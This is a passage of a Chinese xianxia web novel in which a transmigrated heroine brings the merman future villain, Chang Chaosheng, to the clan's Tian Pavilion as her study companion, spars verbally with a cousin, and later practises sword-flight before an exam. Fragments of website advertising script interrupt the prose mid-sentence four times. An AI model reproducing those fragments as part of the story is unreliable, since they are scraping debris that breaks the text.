两个侍女仔细瞧着她的脸色,四只眼睛写满了八卦和好奇,还是绿竹先按捺不住开口,“小姐,你把人赶出来……是觉得他不合心意?难道,是那方面不行?” “估计也是,小姐这才进去没多久……”红桃也跟着嘀咕。 两个侍女相视一笑,没想到,这鲛人还是个中看不中用的。 “什么行不行的,去去去,都回去睡觉!”林见微羞愤难挡,三下五除二将人赶走,迈进门槛,啪一声将房门阖上。 夜风吹拂,脸上的红晕终于慢慢褪去。 她一边往里屋走一边回忆起剧情。 想破脑袋也没想到阴暗偏执的大反派什么时候多出了隐忍蛰伏,能屈能伸的属性,居然会大半夜主动送上门来! 差点没给她吓死。 她该不会要走上原主的老路吧? “唉——” 长叹一口气,林见微本着想不明白的事就先放一放的原则,成功说服自己早早休息,毕竟明天还要去天阁“上课”。 指尖掐诀,熄灭排排闪烁的烛火,目光扫过梳妆台,一眼便看到了她下午离开时用来安放夜明珠的精致匣子。 匣子被人挪动过位置,她只以为是绿竹或红桃收拾屋子时动过,并未在意,拉开盖子,皎洁柔和的淡白色珠光在寂夜里融融亮着,像极了一台不用插电的小夜灯。 她看着欢喜,决定抽空一定做个支架! …… 翌日。 林见微赶在绿竹和红桃进屋伺候洗漱之前便已经穿戴整齐,挽好发髻,一身艳红色的外衫,轻纱薄如蝉翼,衬里是白色的裙子,刚好中和了那一抹艳绝的红,衬得她整个人如雪中红梅,欺霜傲雪,平添三分清冷。 “小姐起这么早?”绿竹和红桃都惊了。 小姐自被找回来之后,因身体自幼便有所亏空,仔细用药将养着也就容易犯困,加上往日里为奴为婢,过够了辛苦日子,如今有机会了,难免赖床。 所幸林家人都忙,仙门世族,也不学凡人贵胄世家请安那一套,不然怕又要惹人诟病。 “起了,修士觉少。” “小姐你开灵了?” “开了。”林见微伸个懒腰,指尖掐诀燃起一簇火苗,引得两人惊呼出声,她便打趣道,“你们俩倒是会奉承我,怎么,是没见过别的修士用法术吗?” 绿竹闻言憨笑一声,“小姐使用法术的意义自然跟别人使用法术不一样。” “行了,别油嘴滑舌,我走了。”林见微摆摆手,径直朝寝殿大门去。 “唉,小姐,你还没用早饭!” 林见微脚步一顿,绿竹忙提着食盒过来,里面放了一盘糕点和灵果,“现在时辰还早,小姐若真想快点到天阁去看看,带着这些吃食在路上垫一垫肚子也好。” “还是绿 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 竹你贴心!”林见微提着精致小巧的食盒出门。 院中已有神辇候着,正是昨日认亲大典时她乘坐的那一驾,华丽璀璨,四只通体纯白的仙鹤站在神辇边上,慢悠悠梳理着翅膀上的羽毛,姿态优雅。 院中的嬷嬷见她出来忙迎上前来,“小姐,怎么还没吃饭?” “在路上吃就行。”林见微掀开盖子,拿起灵果啃了一口气,充沛的汁水在口腔中蔓延,甜丝丝的。 “也好,快快上去吧,你初次到天阁去,莫要迟到,也莫要张扬得罪人,给长老们留下些好印象,说不定能有幸被挑中做亲传弟子。” “日后家主、夫人他们虽也能在修炼上指点你,但你到底要有自己的势力,结交人脉,也好在这幻剑阁站稳脚跟。” 听这老嬷嬷语重心长的提点,林见微一怔,点头应下,“好。” 如此看来,这玉山林氏中,似乎并不太平?连她这么一个刚刚找回来的杂灵根小姐都要开始筹谋收拢势力和站队了吗? 她对这些可不感兴趣! 看来得找个合适的时机开溜!远离这是非之地。 想着,她瞬间觉得手里的灵果都没那么香甜了,正欲挪动脚步朝神辇去,却见小院拱门处一道人影翩然而至,一袭寻常且素净的白衣,掠过院中花草,身姿萧萧肃肃,爽朗清举。 正是常潮生。 来人径直朝她走过来。 林见微脚步一顿,想到昨晚上发生的乌龙还有些尴尬,轻咳两声,面上故作镇定,“你怎么来了?想要跟我一同去天阁?” “是。”常潮生轻颔首,放低身段,做出求人的姿态,抬眸直直看她,一双清亮但乌黑的眸子眼波流转,似是恳求又似蛊惑,“想跟你一起去天阁。” 林见微浑身汗毛倒竖,差点挂不住面上的淡定,这大反派现在做出一副任君予取予求的委屈模样,该不会小心眼记仇,等着日后对她睚眦必报吧! 她可没有逼他啊! 老嬷嬷站在一旁,目光在两人身上逡巡一圈,看常潮生这低眉顺眼的模样,到最后眼神不由往男子下.半身飘去。 也不知绿竹和红桃那两个小丫头今日大清早议论的闲话是不是真的,这鲛人虽然某些方面不行,但确实有几分颜色。 “想去,就去呗……”林见微转身撩起裙摆便上了神辇,将食盒放在腿上,坐稳后才面上讪讪,抬手撩起纱帐看向他,“跟我一起坐吧,这里面空间大。” 说着,她见常潮生真的上来,忙不迭让出一大片空位。 待两人坐稳,四只仙鹤一抖身上的羽毛,振翅而起,鹤唳云霄。 神辇周遭流光溢彩,有灵气环绕,快速掠过长空,惊云扰雾,清风过时纱幔轻摇,如练一般的鲛纱在光下泛起层层金色波纹,浮光跃金。 林见微一边啃灵果一边偷偷觑着常潮生。 少年面如冠玉,湛然若神,如瀑青丝尽数挽成高马尾,垂下几缕在脸侧,忽然抬眸看她,眼尾上挑,平添三分摄人心魄的媚气,是淬了毒的美艳。 21. 打预防针 她轻咳两声,顶住那如同旋涡一般深邃不可见的眸光,缓缓打开食盒,递出一颗雪白剔透的果子,“要不,你也吃一个?” 常潮生抬手接过,她忙开口解释。 “其实……昨晚上的事,是个乌龙。” “我对你绝对没有别的意思!你也知道我初来乍到,对这儿的事不太了解,不是有意带你回落云院的!总之就是,不是那个意思!” 为了跟人撇清关系,林见微恨不得指天发誓。 “不是那个意思……”常潮生语调缓缓,仿佛在认真咀嚼这几个并不复杂的字眼,白皙修长的手指轻轻摩挲灵果表面。 话锋一转,他眸光更深沉几分,“这么迫不及待想跟我撇清关系?” “啊不!”林见微忙摆手,几乎脱口而出。 等她脑子转过来,又连忙点头,“是!” 这么说好像也不对,她又否认,“啊,不是!” 好一出手忙脚乱。 “呵。”常潮生轻笑一声,真真正正的笑,眸中似冰消雪融,眼尾昳丽晕染出一道艳色,美得雌雄莫辨,“到底是还是不是?” “如,如是?”林见微干笑两声,“不是撇清关系,这不是怕别人误会,影响了你的清誉,是吧?” “我不在乎。” “啊?”林见微一脸诧异,偏过头看他,两只眼睛瞪得跟夜里灯笼一样亮,仿佛听到了什么惊世骇俗的话,刚想说你不在乎我还在乎,出口却委婉许多,“要不,你还是在乎一下呢?” 这? 这是……病娇反派暴改失足少男? 她何德何能,无福消受啊! 常潮生不言。 林见微撇撇嘴,“那好吧,你要那些东西做什么?灵石,丹药……” “修炼,变强。” 得到一个有点意外又意料之中的答案,林见微眉头蹙起,在脑中疯狂回忆剧情。 在常潮生发迹之前,因出生时天赋不高而在族人中不受重视,才被送上岸当质子,以妖族之身于地阁修炼,同样受尽排挤。 修为不高就被排挤,克扣修炼资源,得不到修炼资源,越是修为不高。 恶性循环了。 后来,还是在秘境中以命相搏,九死一生中才打通了体内的妖族经脉,人生向好,得到林扶摇助力,自此顺遂起来。 “那……这样吧,你想要修炼资源,就当我先借给你,等你变强之后再连本带利还我,怎么样?” “但你还要答应我一个条件……”林见微神色认真,眸子亮了亮,像只狡黠的猫,偷摸摸给人打预防针,“等你日后变强了,绝对不能做伤害我的事……比如什么废去我的修为后又把我扔到永夜城之类的……” “你不怕我还不上?” “怎么会?像你这种为达目的不择手段,啊不是,是能屈能伸的人,一定做什么都能成功!我很看好你!”林见微拍拍他的肩膀。 常潮生唇角的弧度更大,几缕青丝掩尽眸光,心思深沉不可测。 他倒也没有能屈能伸到可以主动献.身出卖色.相的地步,不过是吃准了林见微这个人。 跟别的人不一样。 初来乍到,有身份地位,不用担心修炼资源;修为不高,利于他掌控局面;又易心软,便好拿捏。 “怎么样?答应我的条件吗?”林见微眼巴巴等着人回答。 “好。” “这就对了!”得到承诺,林见微将心放进肚子里,也大胆起来,“那我们说好了,你日后不能伤我,不管为了谁,出于什么原因,都不行!” 她倒是不担心常潮生出尔反尔,毕竟大反派只是病娇变态一些,还没有小人到言而无信,给出承诺后又自己打自己的脸。 常潮生眸光轻移,神辇之外云遮雾绕,向下是群山青翠,向上是白日中天,鲛纱似练流动,剔透玲珑的轿辇上篆刻着繁复华丽的纹理,美轮美奂。 身侧少女的神情出奇认真,言之凿凿,像是认定了他将来一定会对她做点什么。 比如,废了她的修为,又将她扔到永夜城自生自灭。 念头一出,他没由来一阵心悸。 刹那间这感觉又消散无踪,但脱口而出的话还是带上了颤音,“你觉得我会伤你?” “哈哈哈哈怎么会……”林见微神情闪烁,暗叹自己真是得意忘形,连忙转移话题,“这灵果味道还不错,你怎么不吃?这儿还有糕点,你也尝尝!” 说着,她又连忙塞了两块浅粉色糕点到他手中。 点心软糯糯的,被模具压成桃花形状,精致又好看,凑近了闻,还能闻到一股淡淡的花香,沁人心脾。 常潮生架不住林见微的热情,半推半就,收下了这些食物。 四只仙鹤放缓速度,神辇自云端向下降落,她掐诀清理干净双手,神色激动,“到了到了,下面好多人。” “你开灵了?”常潮生颇为诧异,不过一个晚上,这人不仅开灵了,还学会了一个基础法诀。 “是啊。”林见微点点头,没有过多解释,轿辇一落地她便毫不犹豫掀了帘子出去。 清风拂面而来,天阁之前,恢弘富丽,来来往往的弟子衣袂飘飘似仙,剑光掠过一碧如洗的长空,翩若惊鸿。 掌事弟子认出林见微的驾辇,掐诀闪身迎上前来,略一拱手,“三小姐。” “嗯,你是?” “在下张拂,罗长老派我前来接应。” “张道友好。”林见微回礼,侧身介绍,“他是常潮生,原本在地阁修行,我想让他跟着我一同来天阁修炼。” 张拂目光扫过,下意识点头,“您是家主之女,身边本就可以带一个伴读。” “那就好,让他做伴读。” 张拂嘴唇翕动,心里犹疑,想问问她是否确认要选这么一个从地阁出来的妖族做伴读。 林氏一族,无论是嫡系还是旁系的年轻一辈,选伴读都是有讲究的,要选也要选一个实力强,忠于自己,且背后有点势力的人。 可林见微选的这个…… 鲛人王送上来的质子,天赋不行,背景也不行,就空有一副美貌……虽然旁的林家人身边也会豢养鲛人,但只是为了取乐,根本不会有 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人让这妖族跟着自己一同修炼啊! 而且,这常潮生跟别的鲛人不同,有几分傲气,无论如何也不肯委身于人,为此没少被人针对刁难,吃了不少苦,只是到底是鲛人王的血脉,看他不惯的人也不好做得太过分。 如今怎么转头就搭上了新找回来的三小姐?还让他混到天阁来了? “怎么了?”林见微瞧着他脸色不对。 张拂神情纠结,余光中瞥见常潮生一双黑压压的眸子,冷冷盯着他,似旋涡一般,暗藏警告和威胁,忙摇头,“没事,走吧。” 算了算了,何必多管闲事,反正伴读也不是不能换,日后林见微后悔,大不了换个人就是,这鲛人看起来不像个老实本分的,多一事不如少一事。 “好。” 林见微跟上张拂的脚步,也没忘招手示意常潮生跟上,三人一路上颇有些引人瞩目,数不清的目光暗戳戳投来,想细看这林家新找回来的三小姐到底是何等人物。 毕竟,林扶摇和林戈也快来了。 一会儿怕有的热闹。 张拂挥手打开结界,不过一眨眼的功夫,眼前景物变幻万千,等林见微回神,定睛一看,巍峨宫殿恢弘大气,遥遥矗立,几乎耸入云端,高不见顶。 数不清的修士在空中穿行,御剑而行或乘坐各式各样的法器,天边一道流光划过,似白虹经天,旁的修士都见怪不怪,林见微仰头看去,神辇之中,坐的似乎是林扶摇。 “扶摇仙子到了,我们也快些进去。”张拂一句话唤回林见微的神智,“夫人特意安排您跟扶摇仙子和少家主一同修行,受同一批长老教导。” “啊?”林见微一愣,“我知道了。” 她怎么记得,原本的剧情里是她被安排给别的长老,但原主有心要跟林扶摇争一争,觉得安排给自己的长老水平不行,修为也不高,大吵大闹要换,这才跟林扶摇分到了一块儿去。 可她,什么都没做啊? 不待她想明白其中缘由,张拂已带着两人踏进恢弘大殿内,远远的便见林扶摇亭亭玉立,气质卓然,一身素色衣衫,冰肌玉骨,冷然不可攀,身边站着还站着林戈,身后簇拥了一群人,似乎在等着她。 “小妹。”林戈向她招手,目光扫过走在最后的常潮生,眉头一皱。 张拂见任务完成,自觉拱手告辞,先行一步上楼向罗长老禀报情况。 “大哥,二姐。”林见微态度不冷不热,算是打过招呼。 “你来天阁修行,怎么带上了个鲛人?” 林见微忙侧开身将常潮生推到人前,认真介绍,“这是常潮生,我想选他做我的伴读。” 话音刚落,人群里顿时传出几声意味不明的讥笑。 林戈脸色顿时沉下来,“胡闹!” “一个鲛人,养在院中也就罢了,你怎么能带到天阁来?让其他人如何看你?”林戈此刻无比后悔,自己昨天真是昏了头,怎么就嘴贱做主把这鲛人安排到了落云院里! 小妹初来乍到,涉世未深,定然是没有认识到妖族狡诈,这鲛人又惯常会蛊惑人心!她肯定是被蒙蔽了! 22. 安分守己 林见微看林戈一副很恨不得冲上来动手的样子,忙将常潮生护到身后,据理力争,“大哥,我已对他作出承诺,一言既出驷马难追,况且,鲛人也是人,为何不能入天阁做伴读?” 林戈深呼吸一口气,强压下火气,暗暗告诫自己,这是没有修为的亲妹妹,一定不能动手! “大哥,小妹刚回来,万事都不清楚利害,既然她喜欢这鲛人,就带在身边也无妨,日后不顺心了,再换一个伴读就是。”林扶摇按下林戈捏得咯吱作响的拳头,出面打圆场。 “行,先上楼去。”林戈也不想在这大庭广众之下让林见微难堪,只能咬牙认下,但也没忘狠狠瞪常潮生一眼,暗含警告。 人群里的低笑声止住些,众人不由自主以林戈和林扶摇为中心,一同朝楼上去。 林见微悄悄拽着常潮生的袖子,让他紧跟上自己,以免落到人群后面,靠过去压低声音道,“放心吧,我既然答应了你,就不会换人。” 少女身上有一股淡淡的香气,忽然靠过来,那幽幽的难以名状的香气如蛛丝一般缠绕上他,轻轻柔柔的,悄无声息,仿佛于暗中编织着一个甜美得可以任人酣睡的梦,捕猎落网的蝶。 任它如何振翅,如何挣扎,愈缠愈紧,不得解脱。 常潮生并未回话,只是呼吸急促两分,不动声色与她拉开距离。 “快跟上!”林戈不光不善,语气更冲,他可将林见微的话听得一清二楚! “来了!”林见微讪笑一声跟上,拽着常潮生到了人群前列。 一行人熟门熟路到大殿中。 林见微放眼看去,大殿正前方单独摆放了一个长且宽的桌案,紫檀木材质,低调但贵重,桌案上的香炉缓缓向上吐出一缕白烟,她猜想那儿大概就是长老的位置,俗称讲台。 讲台以下,一排排案几摆放工整,其上堆着竹简或玉符,殿内已经坐了好些人,衣着各异,不拘一格,各个神采飞扬,看到他们进来,纷纷投来打量的目光。 一行人各自坐到自己的位置上等长老前来授课。 林戈黑着一张脸,不情不愿指了两个邻近的无人空位给常潮生和林见微,就在他和林扶摇座位的后面,方便有个照应。 “多谢大哥!”林见微高高兴兴拉着常潮生入座,她正前方便是林戈,右手边是常潮生,常潮生正前方是林扶摇。 林戈冷哼一声落座,显然不太想理这个不成器的妹妹,决定单方面冷战半天。 幼年时,他也爱处处照顾林扶摇,是个十足的妹控,只是林扶摇越长越独立,专心修炼,常常跟在母亲身边,为人处世变得滴水不漏,从容优雅,对他也愈发疏离和恭敬,渐渐变得半分多余的情谊也没有。 他曾隐晦表达过想要亲近一些的意思,兄妹之间不必如此疏离,但一开口都被林扶摇四两拨千斤应付过去,渐渐地,他也歇了这心思,选择顺其自然。 殿内人坐定。 没一会儿,门口人影一晃,林见微尚未反应过来,眨眼间长老便已站到讲台上,一身宽袖道袍,墨蓝色外袍上银线绣出栩栩如生的鹤纹,腰带勾勒出她身姿挺拔,一派道骨仙风,发带飘飘,容貌却是前所未有的年轻。 众弟子忙起身行礼。 “见过罗长老!” 林见微和常潮生也跟着众人行礼。 “坐下吧。”女声冰冷冷的,似天山上化不开的霜雪。 众人应声落座。 女长老目光扫过林见微,面上不显,却颇为头疼,家主夫人虽有别的考量,但竟然将这人塞到了她这里,身边还捎带了另一个同样天赋不佳的妖族。 日后,这两人若是学艺不精,出门丢的可是她的面子! “三小姐初来天阁,听说还未开灵?” 话音一落,殿内顿时如潮水一般蔓延起窃窃私语声,低低笑着,旋即又安静下去,相互认识的人之间只用眼神便交流了个七七八八,一副看笑话的神情。 林见微迎上长老的目光,并未在意耳畔的议论声和他们的眉眼官司,“不,弟子昨夜便已经开灵了。” 此言一出,室内又吵闹一瞬,众人面上神色各异。 常潮生虽然方才已经见识过,但目光还是不自觉飘向身边的人,少女眉宇间掩不住骄傲的神色,却不惹人生厌,像极了街头巷弄里打架打赢了的狸花猫。 “怎么可能?”坐在林见微左侧的女修心直口快,出言质疑,“你既不会心法,又无人教导,还是杂灵根,如何能一晚上便凭自己的本事开灵?” 林见微伸手打了个响指,指尖噗簌簌冒出一小簇火焰,灼灼燃烧。 “从前看别人修炼,自己也跟着记下了一些,不行吗。”她脸不红心不跳,神色淡淡,说出早就准备好的理由。 原主在被找回来之前受尽磋磨,林续就算了为了林氏的颜面,也早将一家人清理了个干净,死无对证,自然任由她发挥。 谁知那人闻言却冷笑一声,“呵,偷师学艺,做奴婢都不知道安分守己,也不怕被人抓住,乱棍打死。” 林戈一听这话,脸更黑了,这大姑一脉还真是不安分,连这堂姐也惹人厌!只是还未等他出声打圆场,林见微却已抢先一步开口。 “堂姐,我出生时,也不是生下来就该做奴婢的。”话语一顿,林见微眉眼弯弯,眼里却没有笑意,“修士修行就是与天争命,安分守己可不是什么美德!” “你的母亲若是肯安分守己,就该老老实实嫁做人妇,而不是招赘入林家,暗中培养心腹家臣,谋划着分夺家财。” “你若是肯安分守己,就该听从你娘的安排,早早联姻嫁给那嗜好酗酒杀人的长老,生儿育女,何必削尖了脑袋入这天阁修炼,甚至不惜以死相逼!” “难道这世间只许你们追名逐利,为自己争取,到了旁人身上就该安分守己,听天由命?这是什么道理?” “你!”林希脸都气红了,半晌想不出反驳的话,殿内众人更是大气不敢出。 家主林续有一个野心勃勃的亲大姐,作风强势,两个派系暗中相争,斗得有来有回,勉强维持住如今的平衡,林氏中人,人人皆知,人人不敢拿上明面说。 这新归来的三小姐倒是口无遮拦。 林扶摇安安静静坐在一旁, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 本不在意这忽然冒出来的插曲,但听完林见微这一番话,倒是颇为认同,确实,安分守己从来不是什么好词。 “好了!”罗长老出声打断两人的争执,拂袖之间一卷玉简落到林见微身前的案几上,“既然你已开灵,便省了我多费心,先练着这套基础心法,你既是天资不够,便更要勤勉,日后莫要辱没了本君的名声。” “是。”林见微颔首应下。 坐在身边的林希恨恨瞪着她,她只淡然一笑。 还好她记性不错,昨日听林戈大致说过林氏的各个派别与人物关系,今天就立马用上了。 不枉林戈嘱咐了好几次让她私下里避开林希,还详细说了对方的外貌,衣着和武器,也让她一眼便认出了林希放在案几边上的云羽弓,从而推断出了对方的身份。 大殿内恢复安静。 有林希这么一个出头鸟,旁的人心思各异,但也不敢轻易在明面上招惹林见微,毕竟这么个伶牙俐齿的主,什么都敢往外说。 长老开始授课。 罗长老是法修,专擅各种法诀和咒术,林见微尝试听了一会儿,实在是听得两眼一黑,旁的弟子已经纷纷按照长老的指点练习起法诀,她只能抱着那一册玉简左右翻看。 走神时,余光瞥见常潮生。 男子双手骨节分明,结印时十指翻飞,动作迅捷而利落,白皙的指节快速变幻动作,似蝴蝶振动双翅,浅蓝色光点流动成星河,涓涓细流一般汇集于掌心,斑驳绚烂,美不可言。 嘭然间,掌心的法诀溃散成末,如流萤般簌簌降落到案几上,消散不见。 林见微回过神,坐在前方的林戈和林扶摇已在手心结成纹路工整的法印,扰得殿内灵气波动,随后法印落到身前的案几上,光华流转之间引得周遭的弟子低声惊呼,几乎是下一刻,林戈和林扶摇旁边的人,也就是两人的伴读,也成功结印。 这么看常潮生刚刚是练习失败了。 “要不,再试一次?”她压低声音,悄悄伸长脖子凑过去。 常潮生点点头。 林见微眼巴巴等着他看示范,谁知前面的林戈先坐不住了,转过身用食指轻点她案几上摊开的玉简,语气冷冰冰的,“基础心法都背熟了吗?” “啊……”林见微默默抽回玉简捧在手中,“大哥,杂灵根有杂灵根的修炼方法,我有自己的节奏,你别管……” “林,见,微。”林戈咬牙切齿。 “我错了!”识时务者为俊杰,她立马低头认错,重新摊开玉简装模作样认真读起来,余光却小心瞥着林戈,等人一转身,便立马偏头冲常潮生展颜一笑。 狡黠,灵动,像一身反骨而明知故犯的猫。 眼神相交。 常潮生似乎被这张扬且纯粹的笑意感染,嘴唇不自觉弯起一抹弧度,等他意识到,弯起的弧度顷刻间抿成一条直线,眸光微冷,偏过头不再看。 装作无事发生一般,继续练习法诀。 林见微眨眨眼,不知道自己哪里又得罪了他,但十分自然地接受了大反派阴晴不定的设定,默默收回目光专心看手里的玉简。 23. 我也紧张好了(7w) 一整个上午。 罗长老悉心指导殿内弟子练习法诀,观察他们体内灵力运转的方式,偶尔提点一两句,顺带建议他们到藏经阁取用适合自己的功法。 林见微则安心抱着那一册玉简,老老实实从最基础的心法学起。 毕竟她曾经闭着眼摸索出的经验实在太过粗糙和残缺,修为不高时看不出弊端,等修为提上去后怕是会陷入瓶颈。 …… 结束上午的课,林见微已饥肠辘辘。 浑浑噩噩随着人群走出大殿。 下午的安排比较自由,弟子可以选择自己擅长或感兴趣的方向钻研,自行选择去哪个长老那儿听课。 像林希,以云羽弓做法器,便修习箭术。 林扶摇和林戈都修剑道,但各自作为亲传弟子师从不同的道君,与林见微打过招呼后便带着伴读一同离开。 “饿了吗?” 常潮生跟在林见微身边,偏过头垂眸看她,向来冷然淡漠的神情不自觉柔和下来,少女半阖着眼,一副无精打采的模样,走路都轻飘飘的,好像随时能饿昏过去。 林见微头轻轻一点头,语调不自觉带了些撒娇的意味,“嗯,快饿死了。” 昨晚上刚刚开灵,她虽今早上在两个侍女面前夸下海口,洋洋得意,但真论起身体素质来,也就比普通人好一些,还别说原主本就体虚。 常潮生下意识抬手将她脸侧的碎发挽到耳后,另一只手摊开,掌心里躺着一颗剔透莹白的灵果,“早上剩下的,给。” 林见微一见到灵果顿时双眼放光,完全忽视了常潮生片刻的逾越之举,一边啃着果子一边后悔自己居然疏忽了吃饭这种人生大事! “对了!你已经辟谷了吗?” 常潮生垂下手,指尖似乎还固执地残留了似有若无的温度,“没有,但不用吃太多。” 林见微点点头,随着修为提升,辟谷也是循序渐进,慢慢就能减少食物摄入,“那你在玉山林氏这些时日……这儿有没有什么好吃的?” 常潮生哑然,“好吃的应该能被直接送到你院里。” “好像……也是。”林见微又啃了一口果子,总算捡回了丢掉的半条命。 大殿内人已经走得差不多。 “林三小姐!”张拂想到还有些事没有交待过,看两人走出来,连忙出声叫住。 林见微停下脚步循声看去,张拂已主动走到两人跟前。 “张师兄。” “之前没找到机会给你们。”张拂递出两个储物袋,“里面有天阁的弟子的身份令牌,方便你们日后出入各个结界,还有些寻常的法器丹药。” 两人收下东西,张拂接着说,“你们初来乍到,等在这儿待久了就习惯了,若有什么问题,尽可寻掌事弟子或处理杂务的长老解答,当然,找我也是一样的。” “多谢师兄,我知道了。” 张拂点点头,说完话便急匆匆离开。 不出意外,林见微从储物袋里翻出了辟谷丹,别看小小的一颗,吃下去却十分顶饱,就是嚼起来索然无味,想了想,她还是没吃。 出了大殿。 往来的修士来去匆匆。 林见微从储物袋里又翻出一个装订整齐的小册子,里面详细写了在天阁修行的各种注意事项,堪称入学手册。大到各种规矩,天阁建筑分布,不同长老教授什么功法,小到日常生活,条条框框,详细到令人发指。 常潮生走在前面,她便低头捧着书紧跟在他身后。 一边走一边不住感叹,这简直就是重读一个没有毕业期限的大学!好一场酣畅淋漓的学习!醉生梦死的钻研!学海无涯,学海无涯啊! 脑子里思绪乱飞,她脱口而出,“唉,对了,常潮生,下午你打算去哪个长老那儿?你有本命法器了吗?” “没有。” “啊,是。”林见微顿时想起被她抛到九霄云外的剧情,现在他都还没有进入秘境,哪里来的本命法器? “哎,怎么下楼了?” “回落云院。”常潮生揉揉眉心,不知怎地,似乎觉得林见微偶尔脑子犯迷糊问出这种答案一目了然的问题十分正常,丝毫没有不耐。 “好,好吧。”林见微面上讪讪,有些尴尬地开口,“没有本命法器也不耽误去听课,怎么这么早就回去了?” 修士的本命法器都不是随便选的,要选也要选能力范围内可以得到的最好的,一旦选定,几乎这辈子都跟它绑定在一起,法器与主人共同修炼,有的法器还能生出灵智。 暂时没有本命法器也不耽误,还能用别的普通法器先修炼着。 “天阁可没有灵果、糕点给你吃。”常潮生转身抽走林见微怀里的书册,姿态散漫,一脚迈出大殿门槛,“快走吧,一颗灵果可撑不了多久。” “唉,你等等我!”林见微快步追上去。 …… 珠流璧转,星霜荏苒。 从仲春到仲夏,一眨眼便过去了三个月。 清晨,落云院中。 “红桃,绿竹,别忘了给院里的菜浇水!”林见微高声嘱咐后便风风火火出了院子,衣袂翩翩,裙裾飞扬似振翅的蝶,眨眼之间便已飞身落到灵剑上。 御剑而起。 “小姐!你慢点!当心啊!” 红桃和绿竹两人追着跑到院中,瞧见林见微的动作,心都揪起来。 林见微开灵不过三月,体内灵力有限,照理来说不该这么早尝试御剑飞行,但架不住她本人是个不头铁的,摔过几次后仍不老实。 时常跃跃欲试,在落云院中折腾个不停,可砸坏了不少园子里的花草,还有好几次直接落到开凿出的池子里,把院里的人都吓坏了,手忙脚乱要去捞她起来。 谁知她是个会凫水的,在那水塘跟条鱼一样,手一划,脚一蹬,眨眼间就游到了岸上,掐诀烘干湿透的衣裳后又要踏着剑往天上飞。 “知道了!”林见微头也没回,眸光中瞥见常潮生身影,忙侧身朝他招手,“走啦!” 男子今日一身青袍,乘风而起时衣衫下摆簌簌而动,似水中游龙一般,端得神姿高彻,超凡脱俗。因是受到林见微的庇佑,日子好过许多,眉宇之间久久积压而 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 成的郁气消散些,难得整个人明媚不少。 瞧见林见微一边御剑向前而行,一边侧过身子,常潮生微微蹙眉,忙快速向人逼近去,语带三分春风似的柔情,“御剑要专心。” 只是春风不留痕。 “知道了!放心吧,我技术好得很!”林见微拍着胸脯保证,眉飞色舞,神采飞扬,一双眸子里似夕日照满江,波光粼粼,动人心魄。 谁知豪言刚说出口,天公不作美,无端一阵大风刮过来,差点给她连人带剑掀翻了出去,常潮生揉揉眉心,指尖弹出道道流光,如流萤般小心绕在少女身边,替她保驾护航。 “多谢啦!”林见微堪堪稳住身形,心头长舒一口气。 虽然摔得多了,但现在她人御剑于山巅之上,摔下去估计得老惨咯。 “今日天阁有考核……你紧不紧张?” “紧张什么?”常潮生掀眸看她,风起时,琼姿皎皎,玉影翩翩,一张玉面仿佛夺天地之造化。 “考试,哪有不紧张的……”林见微干咳两声,心里默默流下两行宽面条眼泪。 她承认自己之前过于武断了,这哪是重读一个没有毕业期限的大学,这简直就是重读高中!一个月一次小考核,三个月一次大考核! 身边都是学法诀一学就会,修炼速度更是一日千里的天才,所以她能不能申请到地阁去修炼啊! 呜呜呜呜…… “不紧张。”常潮生神色淡淡。 林见微撇撇嘴,这大反派不愧是大反派,如今的修炼速度比她快不了多少,日日陪着她一起被一大群天才完虐,居然还能这么淡定! 要不日后一朝翻身,怎么能暗中隐忍蛰伏,最后以一己之力差点夷灭鲛人王族全族,还是后来他的生父鲛人王亲自出面,伏低做小卑微乞求,许以重利,向浮生岛上的修士求援,这才成功将人拿下,击杀于海底的离泽宫中。 思及此,林见微眉头不由蹙起。 剧情里,常潮生执念成魔,一心只有复仇,杀红了眼,还是林扶摇利用两人昔日的情分,主动以身做饵,联合众修士做局令他陷入囹圄之中,这才将人一举擒拿。 唉,被最信任的人背叛,真是可怜,可叹。 …… 常潮生瞥见少女眼目如画,却眉头轻蹙,不假思索便脱口而出,“你若是紧张,我也紧张好了。” “啊?”林见微的思绪被强行拉回来,没听清他说了什么,只是用一种淡淡的怜爱的目光瞧着他,越看越觉得眼前的人实在是太惨了! 小时候在海底过得惨,长大了到浮生岛上也过得惨,在秘境中升级变强也九死一生,历经痛苦,到后来被心爱之人背叛,大仇未报,反而被仇人杀死,葬身海底,就差把“惨”字刻脑门上了! 这次换常潮生一头雾水,“你在想什么?” “没什么没什么。” “你觉得我很可怜?”他眉头皱得更深。 林见微一惊,没料到常潮生感觉居然如此敏锐,“当然!没有!” “我不需要旁人可怜。”常潮生漠然别过脸去,神色晦暗。 24. 攻守之势异也 “是,是。”她连声附和,“你一点也不可怜!” 真论起可怜来,原主的经历也没比大反派好到哪里去,幼年受尽磋磨,后来又心有所执,反复折腾到惹人生厌,最后落了个惨死孤岛的下场。 说着话,两道流光已快速掠过天阁琼楼上空。 林见微依旧是一身亮色衣裙,轻纱缦拢,姝色无双,细长腰带盈盈一束,在腰部勾出细小的褶皱,步履生风,环佩叮当。 脚下踏着灵剑便直直冲着凭栏立于高楼上的林戈去。 林戈看着不远处如炮弹一般直冲过来的人,眉心狠狠一跳,指尖绕起一团云雾般的灵力,稳稳将灵剑失控,差点当众出丑的人托住。力道一变,拽着人翻身过朱红色雕漆栏杆,稳稳站到地上。 “林见微,我是不是说过天阁禁止御剑飞行!” “天阁可没这规矩。”林见微撇撇嘴,勉强稳住身形,灵力耗损太多,双脚无力,扶着栏杆的手都有些抖,但依旧一脸你能奈我何的无赖样。 常潮生紧跟在她身后,帮她拍着背顺气。 眼见着林见微油盐不进,林戈将矛头一转,看常潮生鼻子不是鼻子,眼睛不是眼睛,“还有你,伴读怎么当的?也不知道规劝几句!” “好啦,我错了!”林见微忙将常潮生护到身后,“今日的考核什么时候开始?” “一会儿就开始。”林戈看不惯她如此护着一个鲛人,但奈何早就劝说无果,只能一咬牙转过脸去,眼不见为净。 林见微笑呵呵又凑到他身边去,吞下一粒恢复灵力的丹药后便靠着栏杆向远处眺望。 天地一片开阔,气象万千,风起云涌。 